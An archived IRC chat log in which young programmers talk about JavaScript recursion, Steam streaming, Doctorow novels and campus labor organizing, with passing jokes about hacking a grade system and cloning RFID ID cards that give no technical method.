[2014-12-02T20:32:06-0500] <+LittleBobbyTables> Someone at my university (about 20 years ago) wrote notes in red pen, and then more notes in blue pen (perpendicular to the red notes), and then brought in a pair of those old-timey red/blue 3D glasses. He closed one eye, he could read one set of notes. He closed the other eye, he could read the other set of notes.
[2014-12-02T20:32:56-0500] <@awe> hardmath123: I'm back at school already.
[2014-12-02T20:33:00-0500] <@awe> hardmath123: I don't have him as a student.
[2014-12-02T20:33:04-0500] <@awe> hardmath123: My professor recommended I email him.
[2014-12-02T20:35:23-0500] <+hardmath123> awe: Oh. Well, I'm not expert on college social dynamics, but I would (a) find his office hours and show up, or (b) email him again in a full week, preferably on a Monday.
[2014-12-02T20:35:32-0500] <@awe> It's been exactly a week, actually.
[2014-12-02T20:35:54-0500] <@awe> I emailed him on the 25th.
[2014-12-02T20:36:23-0500] <+hardmath123> Oh
[2014-12-02T20:36:27-0500] <@awe> And I asked my professor before if I should go to his office hours, and he said to just shoot him an email instead of waiting for his office hours.
[2014-12-02T20:37:13-0500] <+hardmath123> If you can show up at office hours this week, do that.
[2014-12-02T20:37:44-0500] <+hardmath123> As much as I love computers, it's easier to talk when people are in front of you and forced to acknowledge response.
[2014-12-02T20:37:58-0500] <+hardmath123> It's like TCP vs. UDP.
[2014-12-02T20:45:58-0500] <@awe> Yeah, I guess.
[2014-12-02T20:46:45-0500] nezorg (nezorg@pdgn-ic2.2dt.1jgje7.IP) joined the channel
[2014-12-02T20:46:52-0500] <nezorg> oops
[2014-12-02T20:46:56-0500] <nezorg> I left the channel
[2014-12-02T20:46:59-0500] <Tam> lol
[2014-12-02T20:47:16-0500] <nezorg> so
[2014-12-02T20:47:23-0500] <+LittleBobbyTables> no.
[2014-12-02T20:47:27-0500] <Tam> yes?
[2014-12-02T20:47:32-0500] <nezorg> whaddy'all tink of steam's new streaming?
[2014-12-02T20:47:40-0500] <@awe> They have streaming now?
[2014-12-02T20:47:45-0500] <nezorg> yup
[2014-12-02T20:47:50-0500] <@awe> Interesting.
[2014-12-02T20:47:57-0500] <nezorg> other people can just click on a friend and say 'watch game'
[2014-12-02T20:48:01-0500] <nezorg> it'll ask them if they want to stream
[2014-12-02T20:48:08-0500] <nezorg> if so, it'll just let that friend stream
[2014-12-02T20:48:12-0500] <nezorg> but then you can also stream publicly
[2014-12-02T20:48:25-0500] <Tam> odamn
[2014-12-02T20:48:26-0500] <Tam> that sounds fun
[2014-12-02T20:48:29-0500] <nezorg> yeah
[2014-12-02T20:48:33-0500] <Tam> except the only thing I'd actually watch is dota
[2014-12-02T20:48:37-0500] <Tam> and you can already view that, so...
[2014-12-02T20:48:41-0500] <@awe> I don't watch video games.
[2014-12-02T20:48:45-0500] <nezorg> Tam: not in real time!
[2014-12-02T20:48:49-0500] <Tam> uh
[2014-12-02T20:48:56-0500] <Tam> watching dota in real time will cause issues
[2014-12-02T20:49:00-0500] <Tam> -> cheating
[2014-12-02T20:49:06-0500] <nezorg> how can you cheat?
[2014-12-02T20:49:08-0500] <Tam> 3 minute delays exist for a reason
[2014-12-02T20:49:12-0500] <nezorg> it's the exact same view that the person has
[2014-12-02T20:49:25-0500] <nezorg> the reason they have a delay on normal watching is because you can see the whole map
[2014-12-02T20:49:30-0500] <Tam> oh, wait
[2014-12-02T20:49:35-0500] <Tam> it's literally confined to one person?
[2014-12-02T20:49:49-0500] <Tam> that would be interesting for coaching purposes, actually
[2014-12-02T20:49:56-0500] <nezorg> well, I guess if you have people on both teams as friends under different accounts
[2014-12-02T20:52:12-0500] <Tam> yeah, that was kinda what I was thinking
[2014-12-02T20:52:22-0500] <Tam> but if you have to approve it, that could be less of an issue
[2014-12-02T20:52:25-0500] <nezorg> yeah
[2014-12-02T20:52:51-0500] <+hardmath123> I feel like telling my teacher how insecure his grade service is
[2014-12-02T20:53:03-0500] <nezorg> hardmath123: what does he teach?
[2014-12-02T20:53:11-0500] <+hardmath123> but there's a 60% chance he'll take it the wrong way and bad things will ensue
[2014-12-02T20:53:15-0500] <+hardmath123> nezorg: chem
[2014-12-02T20:53:24-0500] <nezorg> hardmath123: chem? then yeah, do it anonymously
[2014-12-02T20:53:39-0500] <+JacobEdelman> I added an example to mostly
[2014-12-02T20:53:40-0500] <+JacobEdelman> https://github.com/JacobEdelman/mostly/blob/master/combinators.js
[2014-12-02T20:53:48-0500] <+JacobEdelman> its a context sensnitve parsing example
[2014-12-02T20:54:03-0500] <+JacobEdelman> returns true when the input is of the form a^n b^n c^n
[2014-12-02T20:54:17-0500] <nezorg> JacobEdelman: now add a gh-pages branch and post to hn; boom, instant karma
[2014-12-02T20:54:41-0500] <+JacobEdelman> nezorg: eventually.... I wanna implement a bunch more features first
[2014-12-02T20:54:55-0500] <nezorg> JacobEdelman: nah, you'll call it your "MVP"
[2014-12-02T20:55:00-0500] <nezorg> investors will flock to you
[2014-12-02T20:55:14-0500] <nezorg> :P
[2014-12-02T20:55:27-0500] <Hyper> :P
[2014-12-02T20:55:42-0500] <+JacobEdelman> hardmath123: also, yes it appears to be exponentially slow for the context sensitive grammar
[2014-12-02T20:55:58-0500] <+JacobEdelman> hardmath123: I don't even know if its possible for it to parse context sensitive grammars in P time
[2014-12-02T20:56:00-0500] <+hardmath123> This is scary.
[2014-12-02T20:56:02-0500] <+hardmath123> function point(n){
[2014-12-02T20:56:04-0500] <+hardmath123>   return eval("(function(){return "+n+".apply(null,arguments)})");
[2014-12-02T20:56:06-0500] <+hardmath123> }
[2014-12-02T20:56:07-0500] <+JacobEdelman> oh yeah
[2014-12-02T20:56:08-0500] <nezorg> XD
[2014-12-02T20:56:11-0500] <+JacobEdelman> I couldn't figure out
[2014-12-02T20:56:16-0500] <+JacobEdelman> how to make a pointer to a function
[2014-12-02T20:56:23-0500] <Hyper> nezorg: to /r/programmingcirclejerk/ with you!
[2014-12-02T20:56:27-0500] <nezorg> JacobEdelman: ...
[2014-12-02T20:56:41-0500] <+JacobEdelman> (aka so I could have recursion within a function that not defined in the typical way)
[2014-12-02T20:56:43-0500] <+JacobEdelman> ,,,
[2014-12-02T20:56:46-0500] <+JacobEdelman> *....
[2014-12-02T20:56:49-0500] <+JacobEdelman> sorry :P
[2014-12-02T20:56:57-0500] <+JacobEdelman> any idea on how to make it less scary?
[2014-12-02T20:57:20-0500] <nezorg> JacobEdelman: ...what don't you understand about first-class in functions in js?
[2014-12-02T20:57:27-0500] <nezorg> Hyper: I love that sub, along with /r/androidcirclejerk
[2014-12-02T20:57:30-0500] <+JacobEdelman> I thought I understood it
[2014-12-02T20:57:32-0500] <+JacobEdelman> basicly
[2014-12-02T20:57:33-0500] <+JacobEdelman> I have
[2014-12-02T20:57:36-0500] <@awe> hardmath123: just hack the grading, give a few random people F's and a few random people A's, including yourself.
[2014-12-02T20:57:43-0500] <+JacobEdelman> x= a(x)
[2014-12-02T20:58:13-0500] <+JacobEdelman> but I want "a" to be passed a "pointer" to x so that this can be used to do recursive stuff
[2014-12-02T20:58:22-0500] <+JacobEdelman> it wasn't working without this kinda hack
[2014-12-02T20:58:28-0500] <+hardmath123> JacobEdelman: recursive lambda? arguments.callee is a thing.
[2014-12-02T20:58:37-0500] <+hardmath123> awe: already have an A. :P
[2014-12-02T20:58:44-0500] <@awe> hardmath123: Oh, lame.
[2014-12-02T20:58:48-0500] <+JacobEdelman> hardmath123: what do you mean?
[2014-12-02T20:58:53-0500] <@awe> hardmath123: Just hack it, take some kids you don't like. Make 'em fail.
[2014-12-02T20:59:10-0500] <nezorg> we're such good influences
[2014-12-02T20:59:27-0500] <+JacobEdelman> hardmath123: can you tell me how to rewrite it so its nicer?
[2014-12-02T20:59:57-0500] <+LittleBobbyTables> Make it in a different language.
[2014-12-02T21:00:08-0500] <+JacobEdelman> I mean, the problem is I'm redefining x, so I don't want "a" to be passed the function x, I want it to be passed a pointer to the function x
[2014-12-02T21:00:11-0500] <+JacobEdelman> .... nah
[2014-12-02T21:00:55-0500] <+hardmath123> JacobEdelman: what do you want to do? state it as a generalized problem/
[2014-12-02T21:01:08-0500] <+JacobEdelman> hmmm...
[2014-12-02T21:01:19-0500] <+hardmath123> awe: trying hard to understand a branch of science that interests me is lame? :(
[2014-12-02T21:01:32-0500] <@awe> hardmath123: No, I meant it's lame that hacking wouldn't be useful for you.
[2014-12-02T21:02:36-0500] <+JacobEdelman> function a(x){ return function(i){if(i.length===1)return i
[2014-12-02T21:02:36-0500] <+JacobEdelman>       else return x(a.slice(0),a.slice(1));}}
[2014-12-02T21:02:38-0500] <+JacobEdelman> now
[2014-12-02T21:02:43-0500] <+JacobEdelman> wait
[2014-12-02T21:02:48-0500] <+jwoglom> why the triple equals
[2014-12-02T21:02:50-0500] <+JacobEdelman> no
[2014-12-02T21:02:51-0500] <+JacobEdelman> sorry
[2014-12-02T21:02:54-0500] <+JacobEdelman> lemme think
[2014-12-02T21:03:35-0500] <@awe> jwoglom: because JavaScript is insane.
[2014-12-02T21:04:09-0500] <+jwoglom> like in what cases would you need to check the type
[2014-12-02T21:04:18-0500] <+jwoglom> length will be an integer
[2014-12-02T21:04:35-0500] <+jwoglom> assuming you didn't pass an object or something stupid instead of an array
[2014-12-02T21:04:52-0500] <Hyper> jwoglom: probably just force of habit (also it's faster but I thought JacobEdelman didn't care about that?)
[2014-12-02T21:05:01-0500] <+JacobEdelman> I don't care
[2014-12-02T21:05:11-0500] <+JacobEdelman> but yeah, habit
[2014-12-02T21:05:14-0500] <@awe> http://map.ipviking.com
[2014-12-02T21:06:23-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/CY3De8Cq
[2014-12-02T21:06:25-0500] <+JacobEdelman> there
[2014-12-02T21:06:28-0500] <+JacobEdelman> hardmath123
[2014-12-02T21:06:31-0500] <+JacobEdelman> thats the problem
[2014-12-02T21:06:32-0500] <+JacobEdelman> gtg
[2014-12-02T21:06:45-0500] <+hardmath123> awe: I don't know what that is, but it's pretty awesome looking.
[2014-12-02T21:08:39-0500] <+JacobEdelman> hardmath123: can you solve the problem?
[2014-12-02T21:08:42-0500] <+JacobEdelman> (I'm back)
[2014-12-02T21:09:10-0500] <@awe> hardmath123: Click the I in the top-right.
[2014-12-02T21:09:15-0500] <@awe> hardmath123: It's cooler than it looks.
[2014-12-02T21:11:51-0500] <+JacobEdelman> so, I checked
[2014-12-02T21:11:58-0500] <+JacobEdelman> and I remembered
[2014-12-02T21:12:08-0500] <+JacobEdelman> context sensitive parsing is equivlent to linear bounded automata
[2014-12-02T21:12:44-0500] <+JacobEdelman> that means that the time it takes to parse something of size N with a context sensitive grammar is at most BB(kN) 
[2014-12-02T21:12:57-0500] <+JacobEdelman> where BB is the Busy Beaver function and k is some constant
[2014-12-02T21:13:05-0500] <+JacobEdelman> aka
[2014-12-02T21:13:07-0500] <+JacobEdelman> very large
[2014-12-02T21:13:25-0500] <+hardmath123> Why is China such an aggressive hacker?
[2014-12-02T21:13:38-0500] <+JacobEdelman> they are not
[2014-12-02T21:13:44-0500] <+JacobEdelman> its just population wise
[2014-12-02T21:13:45-0500] <+JacobEdelman> :P
[2014-12-02T21:13:53-0500] <+JacobEdelman> (thats complete made up by the way)
[2014-12-02T21:13:57-0500] <+JacobEdelman> *completely 
[2014-12-02T21:14:59-0500] <+hardmath123> 2 solutions to your problem
[2014-12-02T21:15:31-0500] <+hardmath123> first one is ugly but it works: arguments.callee works out to the current function, allowing lambdas to recurse
[2014-12-02T21:16:12-0500] <+hardmath123> alternatively, you can actually name anons in js (bear with me): function r() {...}, and then use `r` as your thing.
[2014-12-02T21:16:20-0500] <+JacobEdelman> wait, gtg
[2014-12-02T21:16:24-0500] <+JacobEdelman> can you email me the solution
[2014-12-02T21:16:25-0500] <+JacobEdelman> sorry
[2014-12-02T21:19:15-0500] <+hardmath123> awe: Way cool. Are these just DDoS's?
[2014-12-02T21:19:16-0500] <@awe> hardmath123: financial incentive
[2014-12-02T21:19:25-0500] <@awe> hardmath123: I think it's any sort of cyber attack.
[2014-12-02T21:20:06-0500] <+hardmath123> awe: How do you know an 'attack' is happening?
[2014-12-02T21:21:22-0500] <@awe> How does anyone?
[2014-12-02T21:21:29-0500] <@awe> Or from their interface how do you know?
[2014-12-02T21:21:34-0500] <@awe> They have some sort of monitoring service or something.
[2014-12-02T21:21:35-0500] <@awe> I don't know.
[2014-12-02T21:21:37-0500] <@awe> JacobEdelman: https://www.dropbox.com/s/svav5x056ntoc20/Screenshot%202014-12-02%2021.21.14.png?dl=0
[2014-12-02T21:22:20-0500] <alokpathy> awe: lol oops
[2014-12-02T21:22:30-0500] <@awe> That's not an oops.
[2014-12-02T21:24:16-0500] <+hardmath123> I hate literature classes.
[2014-12-02T21:24:45-0500] <+hardmath123> It's literally exercising the same skills required to make an ingenious conspiracy theory.
[2014-12-02T21:28:30-0500] <@awe> https://www.dropbox.com/s/t5bt7hd6gqob8v3/Screenshot%202014-12-02%2021.28.27.png?dl=0
[2014-12-02T21:28:45-0500] <@awe> Servo is in a weird state.
[2014-12-02T21:33:26-0500] <+hardmath123> I'm going to start a company which offers realistic and plausible scenarios for movie makers/novel writers to use in "hacking" scenes.
[2014-12-02T21:33:32-0500] <+hardmath123> Technobabble, Inc.
[2014-12-02T21:35:13-0500] <Hyper> awe: hardmath123: They have honeypots that report attacks
[2014-12-02T21:35:18-0500] <@awe> Yeah.
[2014-12-02T21:35:19-0500] <@awe> That.
[2014-12-02T21:58:25-0500] <@awe> Guys, guys.
[2014-12-02T21:58:28-0500] <@awe> Especialy nezorg 
[2014-12-02T21:58:28-0500] <@awe> http://teespring.com/rustacean#pid=2&cid=2397&sid=front
[2014-12-02T21:58:29-0500] <@awe> :D
[2014-12-02T22:02:09-0500] <alokpathy> Oh nice
[2014-12-02T22:02:11-0500] <alokpathy> get it :P
[2014-12-02T22:04:36-0500] <Tam> thats
[2014-12-02T22:04:37-0500] <Tam> adorable
[2014-12-02T22:06:42-0500] <nezorg> awe: not a fan of the font on the back
[2014-12-02T22:06:55-0500] <@awe> Me neither, but the crab is cute.
[2014-12-02T22:07:03-0500] <nezorg> true
[2014-12-02T22:07:18-0500] <Tam> oh i just saw the back
[2014-12-02T22:07:21-0500] <@awe> Lol, so
[2014-12-02T22:07:23-0500] <Tam> that font...why
[2014-12-02T22:07:33-0500] <@awe> I ditched one of my classes today.
[2014-12-02T22:07:37-0500] <@awe> Turns out, this was the last class.
[2014-12-02T22:07:42-0500] <@awe> Thursday we have an exam online.
[2014-12-02T22:07:52-0500] <nezorg> also, if there's one thing I've learned from buying shirts, it's that paying extra for the american apparel version is worth it
[2014-12-02T22:07:54-0500] <nezorg> awe: nice
[2014-12-02T22:08:35-0500] <nezorg> is ditching classes a common practice?
[2014-12-02T22:08:50-0500] <Tam> lol nezorg: awe is sorta a delinquent :3
[2014-12-02T22:09:00-0500] <nezorg> ah
[2014-12-02T22:09:11-0500] <Tam> aah
[2014-12-02T22:09:13-0500] <Tam> how do I homework
[2014-12-02T22:09:20-0500] <Tam> nezorg this isn't fair you have 3 extra hours
[2014-12-02T22:09:20-0500] <Tam> :(
[2014-12-02T22:09:32-0500] <nezorg> totally
[2014-12-02T22:09:37-0500] <nezorg> in this whole afternoon
[2014-12-02T22:09:43-0500] • hardmath123: boots up studybot
[2014-12-02T22:09:43-0500] <nezorg> since 4pst
[2014-12-02T22:09:45-0500] <@awe> I'm not a delinquent.
[2014-12-02T22:09:52-0500] <nezorg> I've gotten one sentence written down :(
[2014-12-02T22:09:59-0500] <Tam> LOL
[2014-12-02T22:09:59-0500] <@awe> nezorg: I got to sleep an extra two hours, and the class is a huge waste of time.
[2014-12-02T22:10:05-0500] <Tam> i crunched out 1500 words in an hour
[2014-12-02T22:10:10-0500] <@awe> nezorg: Also, agreed. American Apparel all the way.
[2014-12-02T22:10:10-0500] <Tam> then i got burned out 
[2014-12-02T22:10:14-0500] <Tam> and now I can't do anything
[2014-12-02T22:10:21-0500] <nezorg> Tam: very fun
[2014-12-02T22:10:28-0500] <Tam> it was an apush paper, too.
[2014-12-02T22:10:41-0500] <nezorg> I'm analyzing images of the civil war
[2014-12-02T22:10:42-0500] <nezorg> fun fun fun
[2014-12-02T22:10:57-0500] <Tam> ooh fun
[2014-12-02T22:10:58-0500] <@awe> So, I have this small-ish exam for shitty class on Thursday.
[2014-12-02T22:11:01-0500] <Tam> apush is the bane of your existence too?
[2014-12-02T22:11:02-0500] <Tam> <3
[2014-12-02T22:11:04-0500] <nezorg> awe: what class?
[2014-12-02T22:11:12-0500] <nezorg> Tam: nah, english is worse
[2014-12-02T22:11:13-0500] <@awe> Literature of the Harlem Renaissance.
[2014-12-02T22:11:21-0500] <nezorg> that seems oddly specific
[2014-12-02T22:11:25-0500] <@awe> It's Uni.
[2014-12-02T22:11:29-0500] <nezorg> yeah, but still
[2014-12-02T22:11:31-0500] <@awe> Humanities courses are all ultra-specific.
[2014-12-02T22:11:37-0500] <nezorg> not at ucsb
[2014-12-02T22:11:41-0500] <@awe> That's weird.
[2014-12-02T22:11:48-0500] <@awe> Well, it's a shitty course.
[2014-12-02T22:11:50-0500] <@awe> -11/10
[2014-12-02T22:11:53-0500] <@awe> would not recommend.
[2014-12-02T22:12:15-0500] <@awe> but yeah, then I have my Calc final on Tuesday, and my CS final on Thursday.
[2014-12-02T22:12:57-0500] <Tam> nezorg: but english is english
[2014-12-02T22:13:00-0500] <Tam> you can bs your way through that
[2014-12-02T22:14:15-0500] <+LittleBobbyTables> awe
[2014-12-02T22:14:22-0500] <+LittleBobbyTables> What about 100 dollars worth of wine
[2014-12-02T22:14:27-0500] <+LittleBobbyTables> From nakedwines.com
[2014-12-02T22:26:01-0500] <@awe> LittleBobbyTables: lol, no.
[2014-12-02T22:26:12-0500] <+LittleBobbyTables> Why not
[2014-12-02T22:27:22-0500] <@awe> So, my last final is my radical social theory final and it's also due Thursday, but is online.
[2014-12-02T22:28:02-0500] <@awe> It's weird because I'll have so much free time next week.
[2014-12-02T22:30:08-0500] <@awe> I don't need to study for my data structures course. Calc prep will take like two hours of doing past exams (doing that scored me a 98% last time, and the test itself took me a whopping 30 minutes of the allotted two hour period).
[2014-12-02T22:31:19-0500] <@awe> The radical social theory stuff is a guaranteed A.
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[2014-12-02T22:56:28-0500] <nezorg> awe: are you a radical social theorist?
[2014-12-02T22:56:35-0500] <@awe> Sort of, yeah.
[2014-12-02T22:56:58-0500] <Tam> awe: tell him about your activism
[2014-12-02T22:57:15-0500] <+hardmath123> mandatory tv time
[2014-12-02T22:57:16-0500] <@awe> I'm a member of a student labor organization called the Student Labor Action Project.
[2014-12-02T22:57:23-0500] <+hardmath123> goodbye intertubes
[2014-12-02T22:57:32-0500] • hardmath123: afk
[2014-12-02T22:58:20-0500] <@awe> So, we run labor-oriented campaigns on our campus, and solidarity stuff with local labor.
[2014-12-02T22:59:07-0500] <@awe> We've been working with the unions on campus to support their bargaining efforts. We've got a campaign running on reforming our dining services to be more accessible and to treat their workers more fairly.
[2014-12-02T22:59:28-0500] <@awe> We're also working to protect a student job unique to our university called Peer Mentorship.
[2014-12-02T23:00:31-0500] <@awe> They're a residential academic support network for first-year students. They've been trying to join the RA union (we have one of, if not the only, unionized RAs in the US) because of the similarity in position and the complete lack of benefits.
[2014-12-02T23:00:58-0500] <@awe> They get paid for shit, and the housing isn't covered by the university. Both reasonable pay and housing coverage are normal for residential student jobs, like RAs.
[2014-12-02T23:01:10-0500] <Tam> protect it?
[2014-12-02T23:01:13-0500] <Tam> what's happening to it?
[2014-12-02T23:01:16-0500] <@awe> So, because they're trying to unionize, the university is trying to fire all of them.
[2014-12-02T23:01:21-0500] <@awe> They're cutting the position.
[2014-12-02T23:02:00-0500] <@awe> Even though there's a pending Department of Labor Relations case open about their attempt to unionize, which means that it's actually most likely a federal offense for them to make changes to the position right now.
[2014-12-02T23:02:41-0500] <Tam> oh dear.
[2014-12-02T23:04:45-0500] <alokpathy> hardmath123: See ya
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[2014-12-02T23:43:13-0500] <nezorg> awe: does your uni id have an rfid chip in it?
[2014-12-02T23:45:03-0500] <@awe> Yeah.
[2014-12-02T23:45:13-0500] <@awe> Why?
[2014-12-02T23:45:51-0500] <nezorg> is it hackable?
[2014-12-02T23:46:02-0500] <nezorg> i.e. is it a smart card or a dumb card
[2014-12-02T23:46:04-0500] <@awe> Probably.
[2014-12-02T23:46:19-0500] <nezorg> that seems like it would be fun to play with
[2014-12-02T23:46:22-0500] <Tam> nezorg: are you trying to learn to hack rfid chips
[2014-12-02T23:46:29-0500] <Tam> because that sounds really fun
[2014-12-02T23:46:34-0500] <nezorg> Tam: nah, I just like messing with admins
[2014-12-02T23:46:38-0500] <nezorg> ever read little brother?
[2014-12-02T23:46:48-0500] <@awe> It could be for much profit, too.
[2014-12-02T23:46:55-0500] <@awe> You could hack your rfid to be someone else's student ID number.
[2014-12-02T23:47:08-0500] <nezorg> well, sure
[2014-12-02T23:47:10-0500] <@awe> And then you could use their meal swipes and stuff.
[2014-12-02T23:47:44-0500] <nezorg> but more fun, as used in little brother, is to clone a *bunch* of people's and randomly use them benign-ly
[2014-12-02T23:47:52-0500] <nezorg> and have the administrators be really confused
[2014-12-02T23:48:07-0500] <nezorg> like "how did this guy teleport from this side of campus to the other in 2 minutes"
[2014-12-02T23:48:21-0500] <Tam> omg that book
[2014-12-02T23:48:24-0500] <nezorg> this is just having read this article: http://www.nytimes.com/2014/12/03/opinion/blowing-off-class-we-know.html
[2014-12-02T23:48:36-0500] <Tam> I actually really liked it
[2014-12-02T23:48:52-0500] <nezorg> yeah, it's my favorite piece of ya fiction
[2014-12-02T23:49:02-0500] <Tam> I like cory doctorow a lot
[2014-12-02T23:49:07-0500] <nezorg> mhmm
[2014-12-02T23:49:07-0500] <@awe> I only read some of Little Brother.
[2014-12-02T23:49:11-0500] <Tam> I think jacob got a book signed by him
[2014-12-02T23:49:15-0500] <Tam> I'm pretty jealous :(
[2014-12-02T23:49:16-0500] <@awe> But Doctrow is great.
[2014-12-02T23:49:38-0500] <nezorg> awe: was little brother too optimistic for you? :P
[2014-12-02T23:50:17-0500] <@awe> No, I just stopped reading it for whatever eason.
[2014-12-02T23:50:21-0500] <@awe> I want to finish it. It was good.
[2014-12-02T23:50:59-0500] <nezorg> ah
[2014-12-02T23:51:49-0500] <@awe> I had it on my reading list for a while.
[2014-12-02T23:51:54-0500] <@awe> I started reading it earlier in the semester.
[2014-12-02T23:51:56-0500] <@awe> Then, I just stopped.
[2014-12-02T23:51:57-0500] <@awe> I dunno.
[2014-12-02T23:52:00-0500] <@awe> I haven't read in a while, actually.
[2014-12-02T23:52:10-0500] <nezorg> did you get to the point with the rfid cloning?
[2014-12-02T23:52:30-0500] <Tam> wait is that the part
[2014-12-02T23:52:31-0500] <+LittleBobbyTables> nezorg
[2014-12-02T23:52:33-0500] <@awe> Don't think so.
[2014-12-02T23:52:34-0500] <+LittleBobbyTables> Do you like wine
[2014-12-02T23:52:35-0500] <Tam> where it randomly swapped stuff
[2014-12-02T23:52:46-0500] <nezorg> Tam: yeah
[2014-12-02T23:52:50-0500] <nezorg> LittleBobbyTables: not particularly
[2014-12-02T23:52:50-0500] <Tam> heh
[2014-12-02T23:52:59-0500] <+LittleBobbyTables> oh ok
[2014-12-02T23:53:03-0500] <Tam> I read the first page, and I was like "a book that starts by mentioning tor, i could totally get into this"
[2014-12-02T23:53:09-0500] <nezorg> lol
[2014-12-02T23:53:10-0500] <Tam> mind you I was in like 9th grade
[2014-12-02T23:53:19-0500] <nezorg> heh, I read it when it first came out
[2014-12-02T23:53:23-0500] <+LittleBobbyTables> Wasn't that like
[2014-12-02T23:53:24-0500] <+LittleBobbyTables> last year
[2014-12-02T23:53:34-0500] <Tam> no lbt
[2014-12-02T23:53:37-0500] <Tam> i am not that little
[2014-12-02T23:53:38-0500] <nezorg> Tam: have you read the sequel?
[2014-12-02T23:53:38-0500] <@awe> I didn't read a lot from like 5th grade to 11th grade.
[2014-12-02T23:53:50-0500] <+LittleBobbyTables> I swear you were a sophmore
[2014-12-02T23:53:55-0500] <@awe> She was.
[2014-12-02T23:53:56-0500] <@awe> Last year.
[2014-12-02T23:53:56-0500] <nezorg> and then pirate cinema is also pretty good
[2014-12-02T23:54:15-0500] <nezorg> the problem with his books is that they make me feel so optimistic and individualistic
[2014-12-02T23:54:36-0500] <@awe> I'm an optimist.
[2014-12-02T23:54:38-0500] <nezorg> and then I realize that no, I can't actually change the world like that :'(
[2014-12-02T23:54:45-0500] <@awe> One Piece kind of convinced me to be an optimist, actually.
[2014-12-02T23:55:02-0500] <@awe> I'm not an individualist though. I'm defs a collectivist.
[2014-12-02T23:57:43-0500] <Tam> nezorg: there's a sequel?
[2014-12-02T23:57:56-0500] <Tam> LittleBobbyTables: tehre's this thing where you get older as time passes :P
[2014-12-02T23:58:04-0500] <Tam> Heh
[2014-12-02T23:58:05-0500] <+LittleBobbyTables> Really?
[2014-12-02T23:58:10-0500] <Tam> the only anime i've watched lately is ngnl
[2014-12-02T23:58:11-0500] <+LittleBobbyTables> I'm still like 14
[2014-12-02T23:58:15-0500] <Tam> and that's between seasons :/
[2014-12-02T23:58:20-0500] <nezorg> Tam: yeah, "homeland"
[2014-12-02T23:58:27-0500] <Tam> hmm, i gotta look into that
[2014-12-02T23:58:27-0500] <nezorg> Tam: also, totally read pirate cinema as well
[2014-12-02T23:58:33-0500] <Tam> oh, i've seen that one!
[2014-12-02T23:58:41-0500] <Tam> i wanted it but ben forced me to leave to go to that cs conference
[2014-12-02T23:58:51-0500] <nezorg> it's like little brother except for copyright issues rather than privacy issues
[2014-12-02T23:58:56-0500] <+LittleBobbyTables> http://imgur.com/WWKsMgt
[2014-12-02T23:59:22-0500] <Tam> huh, that's weird
[2014-12-02T23:59:26-0500] <@awe> nezorg: isn't Homeland the one that came out last year?
[2014-12-02T23:59:39-0500] <nezorg> awe: maybe?
[2014-12-02T23:59:42-0500] <@awe> I think so?
[2014-12-03T00:00:13-0500] <@awe> @ddg !w homeland
[2014-12-03T00:00:13-0500] <awebot> awe: https://duckduckgo.com/?q=!w+homeland
[2014-12-03T00:00:29-0500] <@awe> Yeah.
[2014-12-03T00:00:30-0500] <@awe> 2013.
[2014-12-03T00:00:33-0500] <@awe> https://en.wikipedia.org/wiki/Homeland_(Cory_Doctorow_novel)
[2014-12-03T00:00:36-0500] <@awe> LittleBobbyTables: ^
[2014-12-03T00:00:36-0500] <nezorg> apparently this is a thing: http://craphound.com/homeland/2014/12/02/when-ed-snowden-met-marcus-yallow/
[2014-12-03T00:00:44-0500] <Tam> wut
[2014-12-03T00:01:11-0500] <+LittleBobbyTables> Can I torren tit
[2014-12-03T00:01:41-0500] <Tam> arent most of his books free anyway
[2014-12-03T00:01:45-0500] <Tam> I just like hard copies
[2014-12-03T00:01:55-0500] <@awe> I'm all about that ebook lifestyle.
[2014-12-03T00:02:12-0500] <nezorg> LittleBobbyTables: he makes his books available digitally for free :P
[2014-12-03T00:02:26-0500] <+LittleBobbyTables> So yes?
[2014-12-03T00:02:26-0500] <nezorg> http://craphound.com/homeland/download/
[2014-12-03T00:02:46-0500] <@awe> Doctrow and I could be good friends, I think.
[2014-12-03T00:03:05-0500] <Tam> time to start carryign around my kindle again
[2014-12-03T00:03:59-0500] <nezorg> also I don't know why I haven't bought this yet http://www.litographs.com/products/brother-tee
[2014-12-03T00:04:18-0500] <Tam> odamn 
[2014-12-03T00:04:19-0500] <Tam> that's cute
[2014-12-03T00:04:26-0500] <Tam> is that the book text?
[2014-12-03T00:04:47-0500] <nezorg> yup
[2014-12-03T00:04:48-0500] <nezorg> whole thing
[2014-12-03T00:04:52-0500] <Tam> damn
[2014-12-03T00:04:54-0500] <Tam> me want
[2014-12-03T00:04:55-0500] <@awe> The whole book.
[2014-12-03T00:04:55-0500] <@awe> Wow
[2014-12-03T00:05:03-0500] <Tam> me really want
[2014-12-03T00:05:19-0500] <+LittleBobbyTables> "You have submitted 1 request: Nov 12, 2014 for @MaGithub – Pending"
[2014-12-03T00:05:36-0500] <@awe> Do want.
[2014-12-03T00:05:50-0500] <+LittleBobbyTables> It's been almost a month.
[2014-12-03T00:05:54-0500] <+LittleBobbyTables> What should I do
[2014-12-03T00:05:57-0500] <+LittleBobbyTables> Wait it out?
[2014-12-03T00:06:25-0500] <@awe> LittleBobbyTables: what is it?
[2014-12-03T00:06:27-0500] <nezorg> LittleBobbyTables: your profile sure is empty https://github.com/magithub
[2014-12-03T00:06:29-0500] <nezorg> :P
[2014-12-03T00:06:44-0500] <+LittleBobbyTables> Github student pack
[2014-12-03T00:06:48-0500] <@awe> Weird.
[2014-12-03T00:06:50-0500] <@awe> Maybe post stuff?
[2014-12-03T00:06:52-0500] <@awe> Use GitHub?
[2014-12-03T00:06:56-0500] <+LittleBobbyTables> I do lol
[2014-12-03T00:07:06-0500] <Tam> darn
[2014-12-03T00:07:12-0500] <Tam> i'm going teenage girl mode
[2014-12-03T00:07:14-0500] <Tam> this is probably bad
[2014-12-03T00:07:17-0500] <nezorg> over what?
[2014-12-03T00:07:21-0500] <Tam> http://www.thinkgeek.com/tshirts-apparel/jewelry/
[2014-12-03T00:07:26-0500] <nezorg> ah
[2014-12-03T00:07:27-0500] <@awe> >teenage girl
[2014-12-03T00:07:29-0500] <@awe> >on thinkgeek
[2014-12-03T00:07:31-0500] <@awe> Tam: sort of.
[2014-12-03T00:07:34-0500] <Tam> shuddup
[2014-12-03T00:07:35-0500] <nezorg> at least it's sorta geeky teenage girl? :P
[2014-12-03T00:08:05-0500] <nezorg> I have a friend whose outfits are pretty much always themed some geek pop culture thing or another
[2014-12-03T00:08:07-0500] <nezorg> usually doctor who
[2014-12-03T00:08:13-0500] <Tam> wait this i cannot
[2014-12-03T00:08:14-0500] <Tam> http://www.thinkgeek.com/product/198c/
